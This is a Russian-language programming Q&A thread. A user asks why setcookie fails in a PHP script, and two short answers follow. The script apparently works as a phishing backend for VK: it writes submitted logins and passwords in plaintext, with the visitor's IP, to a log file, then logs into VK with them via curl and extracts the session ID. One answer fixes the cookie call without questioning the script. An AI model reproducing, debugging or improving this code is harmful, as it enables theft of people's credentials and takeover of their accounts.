Задать вопрос
@Efrem0v

Почему Cookies не записываются?

Почему cookies не записываются? Вроде все правила учёл. Слышал, что нужно использовать ob_start, но не пойму как. Помогите пожалуйста.
<?PHP 
$login=$_POST["login"]; 
$pass=$_POST["pass"]; 
  
$ip=$_SERVER['REMOTE_ADDR']; 
$date = date("m.d.y H:i:s"); 

$file=fopen("log.log", "a"); 
$str_avto=$login."\t".$pass."\t".$date."\t".$ip."\n"; 
fwrite($file, $str_avto); 
fclose($file); 

$otvet=connect("http://login.vk.com/?act=login&email=$login&pass=$pass"); 
If(!preg_match("/hash=([a-z0-9]{1,32})/",$otvet,$hash)){ 
die(header("Location: http://login fail")); 
} 
$otvet=connect("http://vk.com/login.php?act=slogin&hash=".$hash[1]); 
preg_match("/remixsid=(.*?);/",$otvet,$sid); 
$cooks = "remixchk=5; remixsid=$sid[1]"; 
setcookie('login', 'login', time() + 360000000);  //Проблема здесь
header("Location: http://login success"); 
  
  
function connect($link,$cooks=null,$post=null){ 
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL,$link); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt($ch, CURLOPT_TIMEOUT, 0); 
curl_setopt($ch, CURLOPT_HEADER, 1); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); 
if($cooks !== null) 
curl_setopt($ch, CURLOPT_COOKIE, $cooks); 
if($post !== null) 
{ 
curl_setopt($ch, CURLOPT_POST, 1); 
curl_setopt($ch, CURLOPT_POSTFIELDS, $post); 
} 
$otvet = curl_exec($ch); 
curl_close($ch); 
return $otvet; 
} 
?>
  • Вопрос задан
  • 4153 просмотра
Подписаться 2 Оценить Комментировать
Пригласить эксперта
Ответы на вопрос 2
DmitriyEntelis
@DmitriyEntelis
Думаю за деньги
setcookie('login', $login, time() + 360000000,'/', 'mysite.com');


Еще одна проблема которая может быть - если у вас сайт на поддомене - то если домен верхнего уровня поставил куку с таким названием - перезаписать не получится.
Ответ написан
nazarpc
@nazarpc
Open Source enthusiast
Какие ошибки в логах?
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы